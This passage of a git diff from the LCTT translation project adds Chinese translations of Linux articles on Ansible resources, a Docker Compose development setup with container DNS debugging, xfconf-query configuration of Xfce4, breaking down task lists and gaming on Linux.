资深人士。源代码控制、文档、测试、简化和优化是自动化成功的关键。 + * 《[我使用 Ansible 的第一天][6]》 介绍了记者 David Both 在解决重复性开发任务时的思考过程。这篇文章从 Ansible 的基础开始,并说明了一些简单的操作和任务。 + +### 尝试 Ansible 项目 + +一旦你掌握了基础和并拥有良好习惯,就可以开始一些具体主题和实例了。 + + * Ken Fallon 在 《[使用 Ansible 管理你的树莓派机群][7]》 一文中介绍了一个部署和管理树莓派设备机群的示例。它介绍了受限环境中的安全和维护概念。 + * 在 《[将你的日历与 Ansible 融合以避免日程冲突][8]》一文中,Nicolas Leiva 快速介绍了如何使用前置任务和条件在自动日程安排中中强制执行隔离窗口 + * Nicolas 在 《[创建一个整合你的谷歌日历的 Ansible 模块][9]》中完成了他的日历隔离的理念。他的文章深入探讨了在 Go 中编写自定义 Ansible 模块以实现所需的日历连接。 Nicolas 介绍了构建和调用 Go 程序并将所需数据传递给 Ansible 并接收所需输出的不同方法。 + +### 提升你的 Ansible 技巧 + +Kubernetes 是近来的热门话题,以下文章提供了一些很好的示例来学习新技能。 + + * 在 《[适用于 Kubernets 自动编排你的 Ansible 模块][10]》 文章中,Seth Kenlon 介绍了 Ansible Kubernetes 模块, 介绍了用于测试的基本 Minikube 环境,并提供了一些用于Pod 控制的 `k8s` 模块的基本示例。 + * Jeff Geerling 在 《[使用 Ansible 的 Helm 模块构建 Kubernetes Minecraft 服务器][11]》 中解释了 Helm Chart 应用程序、Ansible 集合以及执行一个有趣的项目以在 k8s 集群中设置你自己的 Minecraft 服务器的概念。 + +我希望你的 Ansible 旅程已经开始,并能常从这些文章中充实自己。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/ansible + +作者:[James Farrell][a] +选题:[lujun9972][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jamesf +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/innovation_lightbulb_gears_devops_ansible.png?itok=TSbmp3_M (gears and lightbulb to represent innovation) +[2]: https://opensource.com/article/20/9/ansible +[3]: https://opensource.com/article/20/11/orchestration-vs-automation +[4]: https://opensource.com/article/20/9/install-packages-ansible +[5]: https://opensource.com/article/20/1/ansible-playbooks-lessons +[6]: https://opensource.com/article/20/10/first-day-ansible +[7]: https://opensource.com/article/20/9/raspberry-pi-ansible +[8]: https://opensource.com/article/20/10/calendar-ansible +[9]: https://opensource.com/article/20/10/ansible-module-go +[10]: https://opensource.com/article/20/9/ansible-modules-kubernetes +[11]: https://opensource.com/article/20/10/kubernetes-minecraft-ansible +[12]: https://opensource.com/article/20/1/ansible-news-edition-six +[13]: https://opensource.com/article/20/2/ansible-news-edition-seven +[14]: https://opensource.com/article/20/3/ansible-news-edition-eight +[15]: https://opensource.com/article/20/4/ansible-news-edition-nine +[16]: https://opensource.com/article/20/5/ansible-news-edition-ten +[17]: https://opensource.com/how-submit-article diff --git a/published/202206/20210104 Docker Compose- a nice way to set up a dev environment.md b/published/202206/20210104 Docker Compose- a nice way to set up a dev environment.md new file mode 100644 index 0000000000..fd2ddc9846 --- /dev/null +++ b/published/202206/20210104 Docker Compose- a nice way to set up a dev environment.md @@ -0,0 +1,245 @@ +[#]: collector: (lujun9972) +[#]: translator: (lkxed) +[#]: reviewer: (turbokernel) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14747-1.html) +[#]: subject: (Docker Compose: a nice way to set up a dev environment) +[#]: via: (https://jvns.ca/blog/2021/01/04/docker-compose-is-nice/) +[#]: author: (Julia Evans https://jvns.ca/) + +Docker Compose:搭建开发环境的好方式 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/23/180033lpg4v4bz0bbb1719.jpg) + +大家好!我又写了一篇关于 [我最喜欢的电脑工具][1] 的文章。这一篇讲的是 Docker Compose! + +本文主要就是讲一讲我对 Docker Compose 有多么满意啦(不讨论它的缺点)!咳咳,因为它总能够完成它该做的,并且似乎总能有效,更棒的是,它的使用还非常简单。另外,在本文中,我只讨论我是如何用 Docker Compose 来搭建开发环境的,而不涉及它在生产中的使用。 + +最近,我考虑了很多关于这种个人开发环境的搭建方式,原因是,我现在把所有的计算工作都搬到了一个私有云上,大概 20 美元/月的样子。这样一来,我就不用在工作的时候花时间去思考应该如何管理几千台 AWS 服务器了。 + +在此之前,我曾花了两天的时间,尝试使用其他的工具来尝试搭建一个开发环境,搭到后面,我实在是心累了。相比起来,Docker Compose 就简单易用多了,我非常满意。于是,我和妹妹分享了我的 `docker-compose` 使用经历,她略显惊讶:“是吧!你也觉得 Docker Compose 真棒对吧!” 嗯,我觉得我应该写一篇博文把过程记录下来,于是就有了你们看到的这篇文章。 + +### 我们的目标是:搭建一个开发环境 + +目前,我正在编写一个 Ruby on Rails 服务(它是一个计算机“调试”游戏的后端)。在我的生产服务器上,我安装了: + + * 一个 Nginx 服务器 + * 一个 Rails 服务 + * 一个 Go 服务(使用了 [gotty][2] 来代理一些 SSH 连接) + * 一个 Postgres 数据库 + +在本地搭建 Rails 服务非常简单,用不着容器(我只需要安装 Postgres 和 Ruby 就行了,小菜一碟)。但是,我还想要把匹配 `/proxy/*` 的请求的发送到 Go 服务,其他所有请求都发送到 Rails 服务,所以需要借助 Nginx。问题来了,在笔记本电脑上安装 Nginx 对我来说太麻烦了。 + +是时候使用 `docker-compose` 了! + +### docker-compose 允许你运行一组 Docker 容器 + +基本上,Docker Compose 的作用就是允许你运行一组可以互相通信 Docker 容器。 + +你可以在一个叫做 `docker-compose.yml` 的文件中,配置你所有的容器。我在下方将贴上我为这个服务编写的 `docker-compose.yml` 文件(完整内容),因为我觉得它真的很简洁、直接! + +``` +version: "3.3" +services: + db: + image: postgres + volumes: + - ./tmp/db:/var/lib/postgresql/data + environment: + POSTGRES_PASSWORD: password # yes I set the password to 'password' + go_server: + # todo: use a smaller image at some point, we don't need all of ubuntu to run a static go binary + image: ubuntu + command: /app/go_proxy/server + volumes: + - .:/app + rails_server: + build: docker/rails + command: bash -c "rm -f tmp/pids/server.pid && source secrets.sh && bundle exec rails s -p 3000 -b '0.0.0.0'" + volumes: + - .:/app + web: + build: docker/nginx + ports: + - "8777:80" # this exposes port 8777 on my laptop +``` + +这个配置包含了两种容器。对于前面两个容器,我直接使用了现有的镜像(`image: postgres` 和 `image: ubuntu`)。对于后面两个容器,我不得不构建一个自定义容器镜像,其中, `build: docker/rails` 的作用就是告诉 Docker Compose,它应该使用 `docker/rails/Dockerfile` 来构建一个自定义容器。 + +我需要允许我的 Rails 服务访问一些 API 密钥和其他东西,因此,我使用了 `source secrets.sh`,它的作用就是在环境变量中预设一组密钥。 + +### 如何启动所有服务:先 “build” 后 “up” + +我一直都是先运行 `docker-compose build` 来构建容器,然后再运行 `docker-compose up` 把所有服务启动起来。 + +你可以在 yaml 文件中设置 `depends_on`,从而进行更多启动容器的控制。不过,对于我的这些服务而言,启动顺序并不重要,所以我没有设置它。 + +### 网络互通也非常简单 + +容器之间的互通也是一件很重要的事情。Docker Compose 让这件事变得超级简单!假设我有一个 Rails 服务正在名为 `rails_server` 的容器中运行,端口是 3000,那么我就可以通过 `http://rails_server:3000` 来访问该服务。就是这么简单! + +以下代码片段截取自我的 Nginx 配置文件,它是根据我的使用需求配置的(我删除了许多 `proxy_set_headers` 行,让它看起来更清楚): + +``` +location ~ /proxy.* { + proxy_pass http://go_server:8080; +} +location @app { + proxy_pass http://rails_server:3000; +} +``` + +或者,你可以参考如下代码片段,它截取自我的 Rails 项目的数据库配置,我在其中使用了数据库容器的名称(`db`): + +``` +development: + <<: *default + database: myproject_development + host: db # <-------- 它会被“神奇地”解析为数据库容器的 IP 地址 + username: postgres + password: password +``` + +至于 `rails_server` 究竟是如何被解析成一个 IP 地址的,我还真有点儿好奇。貌似是 Docker 在我的计算机上运行了一个 DNS 服务来解析这些名字。下面是一些 DNS 查询记录,我们可以看到,每个容器都有它自己的 IP 地址: + +``` +$ dig +short @127.0.0.11 rails_server +172.18.0.2 +$ dig +short @127.0.0.11 db +172.18.0.3 +$ dig +short @127.0.0.11 web +172.18.0.4 +$ dig +short @127.0.0.11 go_server +172.18.0.5 +``` + +### 是谁在运行这个 DNS 服务? + +我(稍微)研究了一下这个 DNS 服务是怎么搭建起来的。 + +以下所有命令都是在容器外执行的,因为我没有在容器里安装很多网络工具。 + +**第一步:**:使用 `ps aux | grep puma`,获取 Rails 服务的进程 ID。 + +找到了,它是 `1837916`!简单~ + +**第二步:**:找到和 `1837916` 运行在同一个网络命名空间的 UDP 服务。 + +我使用了 `nsenter` 来在 `puma` 进程的网络命令空间内运行 `netstat`(理论上,我猜想你也可以使用 `netstat -tupn` 来只显示 UDP 服务,但此时,我的手指头只习惯于打出 `netstat -tulpn`)。 + +``` +$ sudo nsenter -n -t 1837916 netstat -tulpn +Active Internet connections (only servers) +Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name +tcp 0 0 127.0.0.11:32847 0.0.0.0:* LISTEN 1333/dockerd +tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN 1837916/puma 4.3.7 +udp 0 0 127.0.0.11:59426 0.0.0.0:* 1333/dockerd +``` + +我们可以看到,此时有一个运行在 `59426` 端口的 UDP 服务,它是由 `dockerd` 运行的!或许它就是我们要找的 DNS 服务? + +**第三步**:确定它是不是我们要找的 DNS 服务 + +我们可以使用 `dig` 工具来向它发送一个 DNS 查询: + +``` +$ sudo nsenter -n -t 1837916 dig +short @127.0.0.11 59426 rails_server +172.18.0.2 +``` + +奇怪,我们之前运行 `dig` 的时候,DNS 查询怎么没有发送到 `59426` 端口,而是发送到了 `53` 端口呢?这到底是怎么回事呀? + +**第四步**:iptables + +对于类似“这个服务似乎正运行在 X 端口上,但我却在 Y 端口上访问到了它,这是什么回事呢?”的问题,我的第一念头都是“一定是 iptables 在作怪”。 + +于是,我在运行了容器的网络命令空间内执行 `iptables-save`,果不其然,真相大白: + +``` +$ sudo nsenter -n -t 1837916 iptables-save +.... redacted a bunch of output .... +-A DOCKER_POSTROUTING -s 127.0.0.11/32 -p udp -m udp --sport 59426 -j SNAT --to-source :53 +COMMIT +``` + +在输出中有一条 iptables 规则,它将 `53` 端口的流量发送到了 `59426` 上。哈哈,真有意思! + +### 数据库文件储存在一个临时目录中 + +这样做有一个好处:我可以直接挂载 Postgres 容器的数据目录 `./tmp/db`,而无需在我的笔记本电脑上管理 Postgres 环境。 + +我很喜欢这种方式,因为我真的不想在笔记本电脑上独自管理一个 Postgres 环境(我也真的不知道该如何配置 Postgres)。另外,出于习惯,我更喜欢让开发环境的数据库和代码放在同一个目录下。 + +### 仅需一行命令,我就可以访问 Rails 控制台 + +管理 Ruby 的版本总是有点棘手,并且,即使我暂时搞定了它,我也总是有点担心自己会把 Ruby 环境搞坏,然后就要修它个十年(夸张)。 + +(使用 Docker Compose)搭建好这个开发环境后,如果我需要访问 Rails 控制台console(一个交互式环境,加载了所有我的 Rails 代码),我只需要运行一行代码即可: + +``` +$ docker-compose exec rails_server rails console +Running via Spring preloader in process 597 +Loading development environment (Rails 6.0.3.4) +irb(main):001:0> +``` + +好耶! + +### 小问题:Rails 控制台的历史记录丢失了 + +我碰到了一个问题:Rails 控制台的历史记录丢失了,因为我一直在不断地重启它。 + +不过,我也找到了一个相当简单的解决方案(嘿嘿):我往容器中添加了一个 `/root/.irbrc` 文件,它能够把 IRB 历史记录文件的保存位置指向一个不受容器重启影响的地方。只需要一行代码就够啦: + +``` +IRB.conf[:HISTORY_FILE] = "/app/tmp/irb_history" +``` + +### 我还是不知道它在生产环境的表现如何 + +到目前为止,这个项目的生产环境搭建进度,还停留在“我制作了一个 DigitalOcean droplet(LCCT 译注:一种 Linux 虚拟机服务),并手工编辑了很多文件”的阶段。 + +嗯……我相信以后会在生产环境中使用 docker-compose 来运行一下它的。我猜它能够正常工作,因为这个服务很可能最多只有两个用户在使用,并且,如果我愿意,我可以容忍它在部署过程中有 60 秒的不可用时间。不过话又说回来,出错的往往是我想不到的地方。 + +推特网友提供了一些在生产中使用 docker-compose 的注意事项: + + * `docker-compose up` 只会重启那些需要重启的容器,这会让重启速度更快。 + * 有一个 Bash 小脚本 [wait-for-it][3],你可以用它来保持等待一个容器,直到另一个容器的服务可用。 + * 你可以准备两份 `docker-compose.yaml` 文件:用于开发环境的 `docker-compose.yaml` 和用于生产环境的 `docker-compose-prod.yaml`。我想我会在分别为 Nginx 指定不同的端口:开发时使用 `8999`,生产中使用 `80`。 + * 人们似乎一致认为,如果你的项目是一台计算机上运行的小网站,那么 docker-compose 在生产中不会有问题。 + * 有个人建议说,如果愿意在生产环境搭建复杂那么一丢丢,Docker Swarm 就或许会是更好的选择,不过我还没试过(当然,如果要这么说的话,干嘛不用 Kubernetes 呢?Docker Compose 的意义就是它超级简单,而 Kubernetes 肯定不简单 : ))。 + +Docker 似乎还有一个特性,它能够 [把你用 docker-compose 搭建的环境,自动推送到弹性容器服务(ESC)上][4],听上去好酷的样子,但是我还没有试过。 + +### docker-compose 会有不适用的场景吗 + +我听说 docker-compose 在以下场景的表现较差: + + * 当你有很多微服务的时候(还是自己搭建比较好) + * 当你尝试从一个很大的数据库中导入数据时(就像把几百 G 的数据存到每个人的笔记本电脑里一样) + * 当你在 Mac 电脑上运行 Docker 时。我听说 Docker 在 macOS 上比在 Linux 上要慢很多(我猜想是因为它需要做额外的虚拟化)。我没有 Mac 电脑,所以我还没有碰到这个问题。 + +### 以上就是全部内容啦! + +在此之前,我曾花了一整天时间,尝试使用 Puppet 来配置 Vagrant 虚拟机,然后在这个虚拟机里配置开发环境。结果,我发现虚拟机启动起来实在是有点慢啊,还有就是,我也不喜欢编写 Puppet 配置(哈哈,没想到吧)。 + +幸好,我尝试了 Docker Compose,它真好简单,马上就可以开始工作啦! + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2021/01/04/docker-compose-is-nice/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[turbokernel](https://github.com/turbokernel) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://jvns.ca/#cool-computer-tools---features---ideas +[2]: https://github.com/yudai/gotty/ +[3]: https://github.com/vishnubob/wait-for-it +[4]: https://docs.docker.com/cloud/ecs-integration/ diff --git a/published/20210115 Learn awk by coding a -guess the number- game.md b/published/202206/20210115 Learn awk by coding a -guess the number- game.md similarity index 100% rename from published/20210115 Learn awk by coding a -guess the number- game.md rename to published/202206/20210115 Learn awk by coding a -guess the number- game.md diff --git a/published/202206/20210122 Configure a Linux workspace remotely from the command line.md b/published/202206/20210122 Configure a Linux workspace remotely from the command line.md new file mode 100644 index 0000000000..5c632a9870 --- /dev/null +++ b/published/202206/20210122 Configure a Linux workspace remotely from the command line.md @@ -0,0 +1,134 @@ +[#]: collector: (lujun9972) +[#]: translator: (Donkey-Hao) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14776-1.html) +[#]: subject: (Configure a Linux workspace remotely from the command line) +[#]: via: (https://opensource.com/article/21/1/remote-configuration-xfce4) +[#]: author: (David Both https://opensource.com/users/dboth) + +从命令行远程配置 Xfce4 工作区 +====== + +> 几乎所有的事情都可以从 Linux 命令行完成,包括对 Xfce4 进行远程配置。 + +![](https://img.linux.net.cn/data/attachment/album/202206/30/114747lfub5hh0b5nyquf3.jpg) + +与专有操作系统相比,我很欣赏 Linux 的一个特点是,几乎所有的东西都可以从命令行中进行管理和配置。意味着几乎所有的事情都可以在本地或者通过 SSH 远程登录进行管理。虽然有时候需要花费一点时间在互联网上搜索,但是你能想到的任务,是有可能从命令行完成的。 + +### 问题 + +有时候需要使用命令行对桌面进行远程配置。在这种特殊情况下,我需要响应远程用户的请求将在 [Xfce][2] 控制板上的工作区从四个减少到三个。这种配置只需要在互联网上搜索约 20 分钟就找到了。 + +xfwm4 的默认工作区数量和许多其他设置可以在 `/usr/share/xfwm4/defaults` 这个文件中找到和修改。因此将 `workspace_count=2` 设置为 `workspace_count=4` 就改变了主机上所有用户的默认值。同时,非 root 用户可以执行 `xfconf-query` 命令来查询和设置 xfwm4 窗口管理器的各种属性。它应该由需要改变设置的用户使用,而不是由 root 使用。 + +在下面的例子中,首先我验证了当前工作区数量为 `4` ,然后将数量改为 `2`,最后确认了新设置。 + +``` +[user@test1 ~]# xfconf-query -c xfwm4 -p /general/workspace_count +4 +[user@test1 ~]# xfconf-query -c xfwm4 -p /general/workspace_count -s 2 +[user@test1 ~]# xfconf-query -c xfwm4 -p /general/workspace_count +2 +[user@test1 ~]# +``` + +此更改会立即生效,用户可以马上看到,无需重新启动,甚至无需注销并重新登录。我曾在我的工作站上玩过这个游戏,当我输入设置不同数量的工作空间的命令时,可以观察到工作空间切换器的变化。我在哪儿都能找到乐子。;- ) + +### 更多探索 + +现在我解决了这个问题,我决深入了解一下 `xfconf-query` 命令。不幸的是,该工具没有手册或信息页,`/usr/share` 中也没有任何文档。退而求其次,使用 `-h` 选项获取一些帮助信息。 + +``` +$ xfconf-query -h + Usage: +   xfconf-query [OPTION…] - Xfconf commandline utility + Help Options: +   -h, --help            显示帮助选项 + Application Options: +   -V, --version         版本信息 +   -c, --channel         查询/修改通道 +   -p, --property        查询/修改属性 +   -s, --set             更新权限的值 +   -l, --list            罗列属性(或者通道,如果没有用 -c 指定) +   -v, --verbose         详细输出 +   -n, --create          当新属性不存在,则创建它 +   -t, --type            指定属性值类型 +   -r, --reset           重置属性 +   -R, --recursive       递归(与 -r 一起使用) +   -a, --force-array     即使只有一个元素也强制采用数组 +   -T, --toggle          反转现有的布尔属性 +   -m, --monitor         监视属性更改的通道 +``` + +这没有多大帮助,但我们还是可以从中找出一些有用的东西。首先,_通道_ 是可以修的属性的分组。我对 `general` 通道下的 `workspace_count` 属性进行了更改。让我们看看完整的通道列表: + +``` +$ xfconf-query -l +Channels: +  xfwm4 +  xfce4-keyboard-shortcuts +  xfce4-notifyd +  xsettings +  xfdashboard +  thunar +  parole +  xfce4-panel +  xfce4-appfinder +  xfce4-settings-editor +  xfce4-power-manager +  xfce4-session +  keyboards +  displays +  keyboard-layout +  ristretto +  xfcethemer +  xfce4-desktop +  pointers +  xfce4-settings-manager +  xfce4-mixer +``` + +给定通道的属性也可以用下列的命令来查看。我使用 `less` 分页器,因为结果是一长串数据。我对下面的列表进行了裁剪,但留下了足够多的条目,你可以看到这些条目的类型。 + +``` +$ xfconf-query -c xfwm4 -l | less +/general/activate_action +/general/borderless_maximize +/general/box_move +/general/box_resize +/general/button_layout +/general/button_offset +<裁剪> +/general/workspace_count +/general/workspace_names +/general/wrap_cycle +/general/wrap_layout +/general/wrap_resistance +/general/wrap_windows +/general/wrap_workspaces +/general/zoom_desktop +(END) +``` + +你可以用这种方式探索所有的通道。我发现通道通常对应“设置管理器”中的各种设置。这些属性是你在这些对话框中设置的。请注意,并非你在“设置管理器”对话窗口中找到的所有设置都是 Xfce 桌面的一部分,因此它们没有对应的通道。屏幕保护程序就是一个例子,因为它是通用的 GNU 屏幕保护程序,并不是 Xfce 独有的。“设置管理器” 是 Xfce 定位这些配置工具的一个很好的中心位置。 + +### 文档 + +综上所述,`xconf-query` 命令似乎没有任何手册或信息页,并且我在网上发现了很多不正确的、记录不全的信息。我发现对 Xfce4 来说最好的文档是 [Xfce 网站][2],关于 `xconf-query` 的一些具体信息可以在这里找到。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/remote-configuration-xfce4 + +作者:[David Both][a] +选题:[lujun9972][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/code_computer_laptop_hack_work.png?itok=aSpcWkcl (Coding on a computer) +[2]: https://www.xfce.org/ diff --git a/published/202206/20210124 3 stress-free steps to tackling your task list.md b/published/202206/20210124 3 stress-free steps to tackling your task list.md new file mode 100644 index 0000000000..015dc51560 --- /dev/null +++ b/published/202206/20210124 3 stress-free steps to tackling your task list.md @@ -0,0 +1,66 @@ +[#]: collector: (lujun9972) +[#]: translator: (Donkey-Hao) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14773-1.html) +[#]: subject: (3 stress-free steps to tackling your task list) +[#]: via: (https://opensource.com/article/21/1/break-down-tasks) +[#]: author: (Kevin Sonney https://opensource.com/users/ksonney) + +轻松解决你的任务清单的三个步骤 +====== + +> 将你的大任务分为小步骤,避免自己不堪重负。 + +![](https://img.linux.net.cn/data/attachment/album/202206/29/145852zcqqw24v2svulswl.jpg) + +本周开始,我先回顾我的日程安排,看看我需要或想要完成的事情。通常,列表上有些较大的项目。无论来自工作上的问题,还是一系列关于生产力的文章,或者改进我家的鸡舍,当作为一项工作时,这个任务真的很艰巨。很有可能我无法坐下来,在一个时间段内,甚至在一天内完成类似(请注意,只是举例)21 篇文章之类的事情。 + +![21 Days of Productivity project screenshot][2] + +*21 天的生产力 (Kevin Sonney, [CC BY-SA 4.0][3])* + +所以当我的清单上有这样的东西时,我做的第一件事就是把它分解成更小的部分。如著名的诺贝尔文学奖得主 [William Faulkner][4] 说的“移山的人,从小石头开始。”(LCTT 译注:感觉与“千里之行,始于足下”是一个意思) 我们要解决大任务(山)并且需要完成各个步骤(小石头)。 + +我使用下面的步骤将大任务分割为小步骤: + + 1. 我通常很清楚完成一项任务需要做什么。如果没有,我会做一些研究来弄清楚这一点。 + 2. 我会顺序的写下完成的步骤。 + 3. 最后,我坐下来拿着我的日历和清单,开始将任务分散到几天(或几周或几个月),以了解我何时可以完成它。 + +现在我不仅有计划,还知道多久能完成。逐步完成,我可以看到这项大任务不仅变得更小,而且更接近完成。 + +军队有句古话,“遇敌无计”。 几乎可以肯定的是,有一两点(或五点)我意识到像“截屏”这样简单的事情需要扩展到更复杂的事情。事实上,在 [Easy!Appointments][5] 的截图中,竟然是: + + 1. 安装和配置 Easy!Appointments + 2. 安装和配置 Easy!Appointments WordPress 插件 + 3. 生成 API 密钥来同步日历 + 4. 截屏 + +即便如此,我也不得不将这些任务分解成更小的部分——下载软件、配置 NGINX、验证安装……你明白了吧。没关系。一个计划或一组任务不是一成不变的,可以根据需要进行更改。 + +![project completion pie chart][6] + +*今年的计划已经完成了 2/3 ! (Kevin Sonney, [CC BY-SA 4.0][3])* + +这是一项后天习得的技能,最初几次需要一些努力。学习如何将大任务分解成更小的步骤可以让您跟踪实现目标或完成大任务的进度,而不会在过程中不知所措。 + +-------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/break-down-tasks + +作者:[Kevin Sonney][a] +选题:[lujun9972][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ksonney +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/checklist_todo_clock_time_team.png?itok=1z528Q0y (Team checklist) +[2]: https://opensource.com/sites/default/files/day14-image1.png +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://en.wikipedia.org/wiki/William_Faulkner +[5]: https://opensource.com/article/21/1/open-source-scheduler +[6]: https://opensource.com/sites/default/files/day14-image2_1.png diff --git a/published/20210131 How to teach open source beyond business.md b/published/202206/20210131 How to teach open source beyond business.md similarity index 100% rename from published/20210131 How to teach open source beyond business.md rename to published/202206/20210131 How to teach open source beyond business.md diff --git a/published/202206/20210207 3 ways to play video games on Linux.md b/published/202206/20210207 3 ways to play video games on Linux.md new file mode 100644 index 0000000000..75f0f9992b --- /dev/null +++ b/published/202206/20210207 3 ways to play video games on Linux.md @@ -0,0 +1,97 @@ +[#]: collector: (lujun9972) +[#]: translator: (godgithubf) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14756-1.html) +[#]: subject: (3 ways to play video games on Linux) +[#]: via: (https://opensource.com/article/21/2/linux-gaming) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) + +在 Linux 上玩电子游戏的三种方式 +====== + +> 如果你准备放下爆米花,想从各个角度体验游戏的话,那么就在 Linux 下打开游戏吧! + +![](https://img.linux.net.cn/data/attachment/album/202206/25/143306xijsi5aaz5jsj2aj.jpg) + +如今,人们有更多喜欢 Linux 的理由。在这个系列里,我将分享 21 个使用 Linux 的理由。今天,我将从游戏开始。 + +我过去认为“游戏玩家”是一种非常特殊的生物,要由科学家们在数年的研究和测试之后严谨地认定才行。我从来没有把自己归类为游戏玩家,因为我所玩过的游戏要么是桌面游戏(棋盘类游戏和纸笔角色扮演游戏),要么是 NetHack、俄罗斯方块。现在,在移动设备、游戏机、电脑和电视机上都有游戏,我觉得现在的承认有各种形式的游戏玩家们了。如果你想自称为游戏玩家,你就可以是,不需任何资格认定。你不用必须在心里熟记那些“上上下下左右左右BA”的科乐美秘籍(你甚至可以不知道这是什么);你也不用必须买过和玩过 3A 级游戏。如果你时不时地玩游戏,你就完全可以自称为玩家。如果你想成为一名玩家,那么现在使用 Linux 正当其时。 + +### 欢迎来到游戏世界 + +剥除光鲜的广告,在其下面,你肯定会发现一个欣欣向荣的游戏世界。在人们相信不是电子表格也不是练习打字一类的软件能挣钱以前,新兴的游戏市场已经开始发展起来了。独立游戏indie game已经在流行文化上以各种方式打上了自己的烙印(或许你不相信,《我的世界》尽管不是开源的,但一开始就是一款独立游戏),这也证实了,在玩家眼里,可玩性高于产品价值。 + +独立开发者和开源开发者之间有很多交集。没有什么比带着你的 Linux 笔记本电脑,浏览 itch.io 或你的发行版的软件库,寻找鲜为人知但珍贵的开源游戏宝藏更有意义了。 + +有各种各样的开源游戏,包括大量的第一视角射击游戏、Nodulus 之类的益智游戏、运输大亨之类的策略经营游戏、Jethook 之类的竞速游戏、Sauerbraten 之类的竞速逃生游戏,以及很多未提到的(多亏了像 Open Jam 这样伟大的活动,每年都有新增的游戏)。 + +![Jethook game screenshot][10] + +总的来说,探索开源游戏的世界的体验,和购买大型游戏工作室的产品带来的即时满足感有很大的不同。大型游戏工作室生产的游戏提供大量的视听刺激、知名演员、和长达 60 小时以上的游戏时长。而独立和开源游戏不能与之相提并论。但是话又说回来,大型游戏工作室无法提供的是,当你发现一款别人未曾听说过的游戏时的产生的发现感和与个人相关的感受。当你意识到别人都非常想知道你刚玩过的哪个出色游戏时,大型工作室也并不能提供这种紧迫感。(LCTT 校注:此处大概的意思是指大型工作室的作品已被人熟知,没有什么挖掘的新鲜感) + +花点时间找出你最喜欢的游戏,然后浏览下你的发行商的软件仓库、Flathub、开源的游戏仓库,看看你能发现什么,如果发现你很喜欢的游戏,就帮忙推广一下吧。 + +#### Proton 和 WINE + +Linux 上的游戏并没有止步于开源,但是从开源开始的。数年前 Valve 软件公司通过发行 Linux 版的 Steam 客户端把 Linux 重新带入游戏市场时,人们希望这可以推动游戏工作室能编写原生的 Linux 游戏。一些工作室这样做了,但 Valve 公司并没有成功的把 Linux 推为主要的平台,即使是 Valve 品牌的游戏电脑。并且大多数游戏工作室又转回仅在 Windows 平台上开发游戏的旧方式。 + +有趣的是,最终的结果是产生了更多的开源代码。Valve 公司为 Linux 兼容创建了 Proton 工程,一个可以转换 Windows 游戏到 Linux 的兼容层。在 Proton 的内核层面,它使用了WINE(Wine Is Not an Emulator) —— 以开源的方式极好地重新实现了主要的 Windows 库。 + +游戏市场的成果,如今已经变成了开源世界的宝藏。今天,来自大型工作室的大多数游戏都可以在 Linux 上像原生游戏一样运行。 + +当然,如果你是必须要在发行日就玩上最新版游戏的这类玩家,你可能会遇到一些令人不愉快的“惊喜”。尽管那不是惊喜,很少有大型游戏在发行时毫无漏洞,一周后才补上补丁。这些游戏在 Proton 和 WINE 上运行时遇到这些错误可能更糟糕,因此 Linux 玩家通过避免尽早上车而避免这些问题。这种妥协可能是值得的。我玩过一些游戏,它们在 Proton 平台运行完美,后来从愤怒的论坛帖子中发现,它在最新版的 Windows 上运行显然充满了致命的错误。总之,似乎来自大型工作室的游戏并不完美,但你可能在 Linux 上遇到相似但不同的问题,正如你在 Windows 上遇到的。 + +#### Flatpak + +Linux 近来历史上最令人激动的发展就是 Flatpak 了,它是本地容器和打包的结合,它和游戏无关(或者它和游戏息息相关),它使得 Linux 应用基本上能被分发到任意的 Linux 发行版上。这也适用于游戏,因为在游戏中使用了相当多的前沿技术,而对发行版维护者来说,要跟上任何特定游戏所需的所有最新版本可能是相当苛刻的。 + +Flapak 通过为应用程序库抽象出一种通用的 Flatpak 特定的层,而将其从发行版中抽象出来。Flatpak 软件包的发行者知道,如果一个库不在 Flatpak SDK 中,那么它必须要包含在 Flatpak 软件包中,简单而直接。 + +多亏了 Flatpak,Steam 客户端可以运行在像 Fedora 这样的常用发行版上,也可以运行在 RHEL、Slackware 等从传统角度看并不面向游戏市场的操作系统上。 + +#### Lutris + +如果你并不急于在 Steam 上注册账号,那么可以用我比较偏爱的游戏客户端 Lutris 。表面上看,Lutris 是一个简单的游戏启动器,当你想玩游戏但还没决定玩什么的时候,你可以到这这里找找。有了 Lutris,你可以将系统上的所有游戏添加到你的游戏库,然后从 Lutris 界面启动并立即玩起来。更好的是,Lutris 